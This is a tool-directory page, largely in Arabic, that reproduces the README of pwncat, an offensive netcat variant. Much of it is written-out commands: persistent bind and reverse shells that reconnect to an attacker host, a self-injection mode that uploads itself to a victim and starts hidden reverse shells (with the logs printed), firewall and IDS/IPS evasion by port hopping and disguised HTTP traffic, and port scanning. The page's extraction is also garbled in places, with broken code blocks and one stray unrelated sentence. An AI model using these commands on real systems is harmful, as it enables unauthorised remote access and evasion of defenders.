Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pwncat — pwncat - netcat معزز بقدرات الجدار الناري، تجاوز أنظمة IDS/IPS، شل ربط وعكسي، شل ذاتي الحقن، وسحر توجيه المنافذ - وهو قابل للبرمجة بالكامل باستخدام بايثون (PSE) | Kitploit
أدوات/GitHubGitHub/cytopia/pwncat
توليد الحمولةمسح المنافذالتهرب من IDS/IPSالحركة الجانبيةالبرمجة النصية والأتمتةما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةالأدوات والمكوناتالفريق الأحمر
GitHubcytopia/pwncat

pwncat

2.0k214منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

pwncat - netcat معزز بقدرات الجدار الناري، تجاوز أنظمة IDS/IPS، شل ربط وعكسي، شل ذاتي الحقن، وسحر توجيه المنافذ - وهو قابل للبرمجة بالكامل باستخدام بايثون (PSE)

عرض المستودعالموقع الإلكتروني

المستندات | التثبيت | خلاصة | الميزات | السلوك | الاستخدام | الأمثلة | الأسئلة الشائعة | المساهمة | إخلاء المسؤولية | الترخيص


شعار pwncat

pwncat

Documentation Status PyPI PyPI - Status PyPI - Python Version PyPI - Format PyPI - Implementation PyPI - License

Build Status Build Status

 

Netcat معزز بتجاوز جدران الحماية وأنظمة كشف/منع الاختراق، مع قذيفة مرتبطة وعكسية، قذيفة ذاتية الحقن، وسحر إعادة توجيه المنافذ - وقابل للبرمجة بالكامل باستخدام بايثون (PSE). - docs.pwncat.org

 

[1] تغطية أنواع mypy (مكتوبة بالكامل: 94.00%)
[2] البنيات الفاشلة لا تشير إلى وظائف معطلة. اختبارات التكامل تعمل لعدة ساعات وتتعطل بشكل متقطع لأسباب مختلفة (انتهاء مهلة الشبكة، إلغاءات غير معروفة من GitHub Actions، إلخ): #735, #841

الدافع

هل سبق لك أن ضغطت عن طريق الخطأ على Ctrl+c على الشل العكسي واختفى إلى الأبد؟ هل سبق لك أن انتظرت إلى الأبد حتى يتصل عميلك بك مرة أخرى، لأن جدار الحماية لم يسمح له بالخروج؟ هل سبق لك أن فقدت الاتصال بسبب قيام IPS بإغلاق منافذ مشبوهة؟ هل سبق لك أن احتجت إلى إعادة توجيه سريعة للمنافذ؟

هذه الأداة تغطي احتياجاتك.

بالإضافة إلى ذلك، فإن الميزات الحالية لـ nc أو ncat أو socat لم تلبي احتياجاتي، وأردت أيضًا الحصول على أداة واحدة تعمل على الأجهزة القديمة والجديدة (وبالتالي التوافق مع Python 2+3). الأهم من ذلك، أردت أن تكون بلغة يمكنني فهمها وتقديم ميزاتي الخاصة بها. (انتظروا، الإصدارات الثنائية لأنظمة Linux و MacOS و Windows ستأتي قريبًا).

📕 الوثائق

🎉 التثبيت

الإصدار الحالي: 0.1.2

عام

Pip
pip install pwncat

حسب نظام التشغيل

[1]: مستودع Epel
[2]: غير مستقر

☕ خلاصة

هذه مجرد نظرة عامة سريعة للبدء. للحصول على تقنيات أكثر تقدمًا، انظر 💻 الاستخدام أو 💡 الأمثلة.

شاهدها في العمل

قذائف عكسية غير قابلة للكسر - كيفية إنشائها

انشر على الهدف```bash

Copy base64 data to clipboard from where you have internet access

curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

Paste it on the target machine

echo "" | base64 -d > pwncat chmod +x pwncat

root@kitploit:~
### حقن إلى الهدف```bash
# [1] If you found a vulnerability on the target to start a very simple reverse shell,
# such as via bash, php, perl, python, nc or similar, you can instruct your local
# pwncat listener to use this connection to deploy itself on the target automatically
# and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

[1] اقرأ المزيد عن الحقن الذاتي

استدعاء القذائف```bash

Bind shell (accepts new clients after disconnect)

pwncat -l -e '/bin/bash' 8080 -k

root@kitploit:~
```bash
# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
root@kitploit:~
# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1

مسح المنافذ```bash

[TCP] IPv4 + IPv6

pwncat -z 10.0.0.1 80,443,8080 pwncat -z 10.0.0.1 1-65535 pwncat -z 10.0.0.1 1+1023

[UDP] IPv4 + IPv6

pwncat -z 10.0.0.1 80,443,8080 -u pwncat -z 10.0.0.1 1-65535 -u pwncat -z 10.0.0.1 1+1023 -u

Use only IPv6 or IPv4

pwncat -z 10.0.0.1 1-65535 -4 pwncat -z 10.0.0.1 1-65535 -6 -u

Add version detection

pwncat -z 10.0.0.1 1-65535 --banner

root@kitploit:~
### إعادة توجيه المنفذ المحلي `-L` (الوكيل المستمع)```bash
# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306
root@kitploit:~
# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u

إعادة توجيه المنفذ عن بُعد -R (وكيل العميل المزدوج)```bash

Connect to Remote MySQL server (remote port 3306) and then connect to another

pwncat/netcat server on 10.0.0.1:4444 and bridge traffic

pwncat -R 10.0.0.1:4444 everythingcli.org 3306

root@kitploit:~
```bash
# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u

SSH Tunnelling من أجل المتعة والربح 🔗
مثال pwncat: سحر إعادة توجيه المنافذ

⭐ الميزات

نظرة سريعة

يحتوي pwncat على العديد من الميزات، فيما يلي فقط قائمة بالخصائص البارزة.

مصفوفة مقارنة الميزات

* الميزة قيد التطوير حاليًا.

👮 السلوك

مثل التنفيذ الأصلي لـ netcat، عند استخدام TCP، سيقوم pwncat (في وضع العميل والاستماع) بالخروج تلقائيًا، إذا تم إنهاء اتصال الشبكة، بشكل صحيح أو غير صحيح. في حالة عدم قيام النظير البعيد بإنهاء الاتصال، أو في وضع UDP، سيبقى netcat و pwncat مفتوحين. يختلف السلوك قليلاً عند إغلاق STDIN.

  1. netcat: إذا تم إغلاق STDIN، لكن الاتصال يظل مفتوحًا، سيبقى netcat مفتوحًا
  2. pwncat: إذا تم إغلاق STDIN، لكن الاتصال يظل مفتوحًا، سيقوم pwncat بالإغلاق

يمكنك محاكاة سلوك netcat باستخدام وسيطة سطر الأوامر --no-shutdown.

ألق نظرة على الأوامر التالية لفهم هذا السلوك بشكل أفضل:```bash

[Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF

printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

[Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF

printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown

root@kitploit:~
``````bash
# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF
printf "GET / \n\n" | pwncat www.google.com 80

يبدو أن نهج "Power Up" ونهج "Cache Upgrade" كلاهما قابلان لإعادة الإنتاج في بيئات أخرى.```bash

[TCP]

Both instances will quit after successful file transfer.

pwncat -l 4444 > output.txt pwncat localhost 4444 < input.txt

[TCP]

Neither of both, client and server will quit after successful transfer

and they will be stuck, waiting for more input or output.

When exiting one (e.g.: via Ctrl+c), the other one will quit as well.

pwncat -l 4444 --no-shutdown > output.txt pwncat localhost 4444 --no-shutdown < input.txt

root@kitploit:~
يُرجى العلم أنه ليس من الموثوق إرسال الملفات عبر UDP```bash
# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP)
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.
pwncat -u -l 4444 > output.txt
pwncat -u localhost 4444 < input.txt

هناك طرق عديدة لتعديل هذا السلوك الافتراضي. ألقِ نظرة على قسم الاستخدام للإعدادات الأكثر تقدماً.

💻 الاستخدام

المفاتيح

[1] يعمل فقط عند عدم استخدام --no-shutdown و --keep. سيؤدي ذلك إلى إغلاق مقبس الإرسال الخاص به، للإشارة إلى الطرف البعيد وEOF على مقبسه.

وسائط سطر الأوامر

اكتب pwncat -h أو انقر أدناه لرؤية جميع الخيارات المتاحة.

انقر هنا لتوسيع الاستخدام``` usage: pwncat [options] hostname port pwncat [options] -l [hostname] port pwncat [options] -z hostname port pwncat [options] -L [addr:]port hostname port pwncat [options] -R addr:port hostname port pwncat -V, --version pwncat -h, --help

Enhanced and compatible Netcat implementation written in Python (2 and 3) with connect, zero-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically re- connect.

positional arguments: hostname Address to listen, forward, scan or connect to.

port [All modes] Single port to listen, forward or connect to. [Zero-I/O mode] Specify multiple ports to scan: Via list: 4444,4445,4446 Via range: 4444-4446 Via incr: 4444+2

mode arguments: -l, --listen [Listen mode]: Start a server and listen for incoming connections. If using TCP and a connected client disconnects or the connection is interrupted otherwise, the server will quit. See -k/--keep-open to change this behaviour.

-z, --zero [Zero-I/0 mode]: Connect to a remote endpoint and report status only. Used for port scanning. See --banner for version detection.

-L [addr:]port, --local [addr:]port [Local forward mode]: This mode will start a server and a client internally. The internal server will listen locally on specified addr/port (given by --local [addr:]port). The server will then forward traffic to the internal client which connects to another server specified by hostname/port given via positional arguments. (I.e.: proxies a remote service to a local address)

-R addr:port, --remote addr:port [Remote forward mode]: This mode will start two clients internally. One is connecting to the target and one is connecting to another pwncat/netcat server you have started some- where. Once connected, it will then proxy traffic between you and the target. This mode should be applied on machines that block incoming traffic and only allow outbound. The connection to your listening server is given by -R/--remote addr:port and the connection to the target machine via the positional arguments.

optional arguments: -e cmd, --exec cmd Execute shell command. Only for connect or listen mode.

-C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing line endings for input and outout accordingly. Specify 'no' to completely remove any line feeds. By default it will not replace anything and takes what is entered (usually CRLF on Windows, LF on Linux and some times CR on MacOS).

-n, --nodns Do not resolve DNS.

--send-on-eof Buffer data received on stdin until EOF and send everything in one chunk.

تنزيل الأداة
نمط الكوداختبارات التكامل [2]
المنسقالحالة
Black
mypy [1]
pycodestyle
pydocstyle
pylint
Pythonنظام التشغيلLinuxMacOSWindows
2.7
3.5
3.6
3.7
3.8
pypy2
pypy3
وثائق Pwncat
الرابط
الوثائق الرسميةhttps://docs.pwncat.org
الموقع الرسميhttps://pwncat.org
وثائق APIhttps://pwncat.org/pwncat.api.html
محرك البرمجة النصية لـ PwncatPSE
MacOSArch LinuxBlackArchCentOS[1]
mac_imgarch_imgbarch_imgcentos_img
brew install pwncatyay -S pwncatpacman -S pwncatyum install pwncat
FedoraKali LinuxNixOS[2]Oracle Linux[1]
fedora_imgkali_imgnix_imgoracle_img
dnf install pwncatapt install pwncatnixos.pwncatyum install pwncat
PentooParrot OS
pentoo_imgparrot_img
net-analyzer/pwncatapt install pwncat


قذائف عكسية غير قابلة للكسر - قذائف متعددة

الميزةالوصف
PSEقابلة للبرمجة بالكامل باستخدام محرك البرمجة النصية Pwncat Scripting Engine للسماح بجميع أنواع الأشياء الفاخرة عند الإرسال والاستقبال
فحص المنافذفحص منافذ TCP و UDP مع دعم الكشف الأساسي عن الإصدار
غلاف عكسي ذاتي الحقنوضع الحقن الذاتي لنشر نفسه وبدء غلاف عكسي غير قابل للكسر يعود إليك تلقائيًا
غلاف مقيدإنشاء أغلفة مقيدة
غلاف عكسيإنشاء أغلفة عكسية
إعادة توجيه المنفذإعادة توجيه المنفذ المحلي والبعيد (خادم/عميل وكيل)
Ctrl+cيمكن للغلاف العكسي إعادة الاتصال إذا ضغطت عن طريق الخطأ على Ctrl+c
كشف المنفذ الصادرمسح والإبلاغ عن منافذ الخروج المفتوحة على الهدف (القفز بين المنافذ)
تجنب جدار الحمايةتجنب جدران الحماية الصادرة عن طريق تناوب المنافذ الصادرة (القفز بين المنافذ)
تجنب IPSتجنب أنظمة منع الاختراق من خلال القدرة على تناوب المنافذ الصادرة عند انقطاع الاتصال (القفز بين المنافذ)
غلاف عكسي UDPجرب هذا مع netcat التقليدي
UDP مع حالةمرحلة اتصال مع حالة لوضع عميل UDP
TCP / UDPدعم كامل لـ TCP و UDP
IPv4 / IPv6دعم مكدس مزدوج أو فردي لـ IPv4 و IPv6
Python 2+3يعمل مع Python 2 و Python 3 و pypy2 و pypy3
عبر أنظمة التشغيليعمل على Linux و MacOS و Windows طالما أن Python متوفر
التوافقاستخدم netcat أو ncat أو socat كعميل أو خادم مع pwncat
محمولملف واحد يستخدم فقط حزمًا أساسية - لا توجد تبعيات خارجية مطلوبة.
pwncatnetcatncatsocat
محرك البرمجة النصية✔ Python❌✔ Lua❌
IP ToS✔✔❌✔
IPv4✔✔✔✔
IPv6✔✔✔✔
مقابس نطاق Unix❌✔✔✔
vsock لينكس❌❌✔❌
ربط مصدر المقبس✔✔✔✔
TCP✔✔✔✔
UDP✔✔✔✔
SCTP❌❌✔✔
SSL❌❌✔✔
HTTP✔❌❌❌
HTTPS*❌❌❌
تفاوض Telnet❌✔✔❌
دعم الوكيل❌✔✔✔
إعادة توجيه المنفذ المحلي✔❌❌✔
إعادة توجيه المنفذ البعيد✔❌❌❌
فحص المنافذ الواردة✔✔✔❌
فحص المنافذ الصادرة✔❌❌❌
كشف الإصدار✔❌❌❌
الدردشة✔✔✔✔
تنفيذ الأوامر✔✔✔✔
تفريغ سداسي عشري*✔✔✔
الوسيط❌❌✔❌
الاتصالات المتزامنة❌❌✔✔
السماح/الرفض❌❌✔✔
إعادة القبول✔✔✔✔
الحقن الذاتي✔❌❌❌
غلاف عكسي UDP✔❌❌❌
عميل إعادة الاتصال✔❌❌❌
القفز بين المنافذ✔❌❌❌
الإغلاق الطارئ✔❌❌❌
السلوكAltAltAlt
إنهاء (SIGINT)Ctrl+cCtrl+cCtrl+c
إنهاء (SIGQUIT)Ctrl+\??
إنهاء (SIGQUIT)Ctrl+4??
إنهاء STDIN[1]Ctrl+dCtrl+dCtrl+z و Ctrl+Enter
إرسال (NL)Ctrl+j??
إرسال (EOL)Ctrl+m??
إرسال (EOL)EnterEnterEnter

--no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior.

-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times.

--info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv).

-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto)

--safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input.

protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).

-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).

-u, --udp Use UDP for the connection instead of TCP.

-T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'.

--http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS.

--https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS.

-H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s).

command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet.

pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

--script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan.

listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone)

--rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try).

--rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1)

--rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified.

connect mode arguments: --source-addr addr Specify source bind IP address for connect mode.

--source-port port Specify source bind port for connect mode.

--reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection.

--reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1)

--reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed.

--ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported.

--ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster.

--udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word.

--udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'.

misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit

root@kitploit:~
</details>


## :bulb: أمثلة

### ترقية شل الخاص بك إلى تفاعلية
<!--
<details>
  <summary>Click to expand</summary>
-->

> هذه نصيحة عالمية ولا تعمل فقط مع `pwncat`، بل مع جميع الأدوات الشائعة الأخرى.

عند الاتصال بشل عكسي أو ملزم، ستلاحظ أن أوامر التفاعل لن تعمل وأن الضغط على <kbd>Ctrl</kbd>+<kbd>c</kbd> سينهي جلستك. لإصلاح ذلك، ستحتاج إلى إرفاقه بـ TTY (جعله تفاعليًا). إليك الطريقة:```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+z```bash

get your current terminal size (rows and columns)

stty size

for bash/sh (enter raw mode and disable echo'ing)

stty raw -echo fg

for zsh (enter raw mode and disable echo'ing)

stty raw -echo; fg

reset export SHELL=bash export TERM=xterm stty rows columns # and values found above by 'stty size'

root@kitploit:~
> <sup>[1] [ورقة الغش للصدفة العكسية](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell)</sup>

### UDP الصدفة العكسية
بدون حيل، لا يمكن تحقيق الصدفة العكسية UDP بشكل حقيقي. UDP هو بروتوكول لا يحافظ على الحالة مقارنة بـ TCP وليس لديه طريقة `connect()` كما في TCP.
في وضع TCP، سيعرف الخادم عنوان IP ومنفذ العميل بمجرد أن يصدر العميل `connects()`.
في وضع UDP، نظرًا لعدم وجود `connect()`، يقوم العميل ببساطة بإرسال البيانات إلى عنوان/منفذ دون الحاجة إلى الاتصال أولاً.
لذلك، في وضع UDP، لن يتمكن الخادم من معرفة عنوان IP ومنفذ العميل، وبالتالي لا يمكنه إرسال البيانات إليه أولاً.
الطريقة الوحيدة لجعل ذلك ممكنًا هي أن يرسل العميل نوعًا من البيانات إلى الخادم أولاً، حتى يتمكن الخادم من رؤية عنوان IP/المنفذ الذي أرسل البيانات إليه.

يحاكي `pwncat` طريقة `connect()` الخاصة بـ TCP عن طريق جعل العميل يرسل بايت فارغ إلى الخادم مرة واحدة أو بشكل دوري عبر `--ping-intvl` أو `--ping-init`.```bash
# The client
# --exec            # Provide this executable
# --udp             # Use UDP mode
# --ping-init       # Send an initial null byte to the server
pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444

الصدفة العكسية TCP غير القابلة للكسر

لماذا غير قابلة للكسر؟ لأنها ستستمر في العودة إليك، حتى لو أوقفت خادم الاستماع الخاص بك مؤقتًا. بمعنى آخر، سيستمر العميل في محاولة الاتصال بالخادم المحدد حتى النجاح. إذا تم قطع الاتصال، فسيستمر في المحاولة مرة أخرى.```bash

The client

--exec # Provide this executable

--nodns # Keep the noise down and don't resolve hostnames

-reconn # Automatically reconnect back to you indefinitely

--reconn-wait # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444

root@kitploit:~
### قشرة عكسية UDP غير قابلة للكسر
لماذا غير قابلة للكسر؟ لأنها ستعود إليك باستمرار، حتى لو قمت بقتل خادم الاستماع الخاص بك مؤقتًا.
بمعنى آخر، سيبقي العميل يرسل بايتات فارغة إلى الخادم ليعلن عن نفسه باستمرار.```bash
# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# --udp             # Use UDP mode
# --ping-intvl      # Ping the server every 2 seconds

pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444

الغلاف العكسي المُحقن ذاتيًا

لنفترض أنك قادر على إنشاء غلاف عكسي بسيط جدًا وغير مستقر من الهدف إلى جهازك، مثل غلاف ويب عبر سكريبت PHP أو ما شابه.
مع العلم أن هذا الاتصال لن يدوم طويلاً أو قد ينقطع بسبب عدم استقرار الشبكة، يمكنك استخدام pwncat للارتباط بهذا الاتصال ونشر نفسه بشكل غير قابل للكسر على الهدف - تلقائيًا بالكامل.

عرض على يوتيوب

كل ما عليك فعله هو استخدام pwncat كمستمع محلي وتشغيله مع المفتاح --self-inject. بمجرد أن يتصل العميل (مثل: غلاف الويب العكسي) به، سيقوم بعدة أمور:

  1. تعداد توفر بايثون وإصداراتها على الهدف
  2. تفريغ نفسه مشفرًا بـ base64 على الهدف
  3. استخدام بايثون الهدف لفك تشفير نفسه
  4. استخدام بايثون الهدف لبدء تشغيل نفسه كغلاف عكسي غير قابل للكسر يعود إليك

بمجرد الانتهاء من ذلك، يمكنك الاستمرار في استخدام الاتصال الحالي أو ببساطة التخلي عنه وبدء مستمع جديد (نعم، لست بحاجة إلى بدء المستمع قبل بدء تشغيل الغلاف العكسي) ليتصل بك عميل pwncat الجديد. كما لا يلزم أن يكون المستمع الجديد هو pwncat، بل يمكن أن يكون netcat أو ncat.

المفتاح --self-inject:```bash pwncat -l 4444 --self-inject ::

root@kitploit:~
* `<cmd>`: هذا هو الأمر الذي سيتم تشغيله على الهدف (مثل `-e`/`--exec`، لذا تريد أن يكون `cmd.exe` أو `/bin/bash`)
* `<host>`: هذا خاص بجهازك المحلي، عنوان IP الذي ستتصل به الصدفة العكسية
* `<port>`: هذا خاص بجهازك المحلي، المنفذ الذي ستتصل عليه الصدفة العكسية

لذا تخيل أن جهاز Kali الخاص بك هو 10.0.0.1. أنت تطلب من webshell التي تحقنها على خادم Linux أن تتصل بك على المنفذ `4444`:```bash
# Start this locally, before starting the reverse webshell
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

سوف ترى بعد ذلك شيئاً مثل هذا:``` [PWNCAT CnC] Probing for: /bin/python [PWNCAT CnC] Probing for: /bin/python2 [PWNCAT CnC] Probing for: /bin/python2.7 [PWNCAT CnC] Probing for: /bin/python3 [PWNCAT CnC] Probing for: /bin/python3.5 [PWNCAT CnC] Probing for: /bin/python3.6 [PWNCAT CnC] Probing for: /bin/python3.7 [PWNCAT CnC] Probing for: /bin/python3.8 [PWNCAT CnC] Probing for: /usr/bin/python [PWNCAT CnC] Potential path: /usr/bin/python [PWNCAT CnC] Found valid Python2 version: 2.7.16 [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422) [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &

root@kitploit:~
وبهذا تكون مستعدًا. يمكنك الآن بدء مستمع آخر محليًا على `4445` (مرة أخرى، سيتصل بك مرة أخرى بلا نهاية، لذا ليس مطلوبًا بدء المستمع أولاً).```bash
# either netcat
nc -lp 4445
# or ncat
ncat -l 4445
# or pwncat
pwncat -l 4445

قذائف عكسية ذاتية الحقن غير محدودة

بدلاً من طلب قذيفة عكسية واحدة ذاتية الحقن، يمكنك توجيه pwncat لتوليد عدد غير محدود من القذائف العكسية غير القابلة للكسر والتي تتصل بك مرة أخرى كما تريد.

عرض على يوتيوب

الوسيط --self-inject يتيح لك ليس فقط تحديد منفذ واحد، بل أيضًا

  1. قائمة منافذ مفصولة بفواصل: 4445,4446,4447,4448
  2. تعريف نطاق: 4446-4448
  3. زيادة: 4445+3

لتوليد 4 قذائف عكسية، ستبدأ المستمع الخاص بك كما هو موصوف أعلاه، ولكن بدلاً من منفذ واحد، تقوم بتعريف عدة منافذ:```bash

Comma separated

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

Range

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

Increment

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3

root@kitploit:~
كل من الأوامر الثلاثة المذكورة أعلاه سيحقق نفس السلوك: إنشاء 4 صدفات عكسية داخل الهدف.
بمجرد اتصال العميل، سيبدو الإخراج شيئًا كالتالي:```
[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
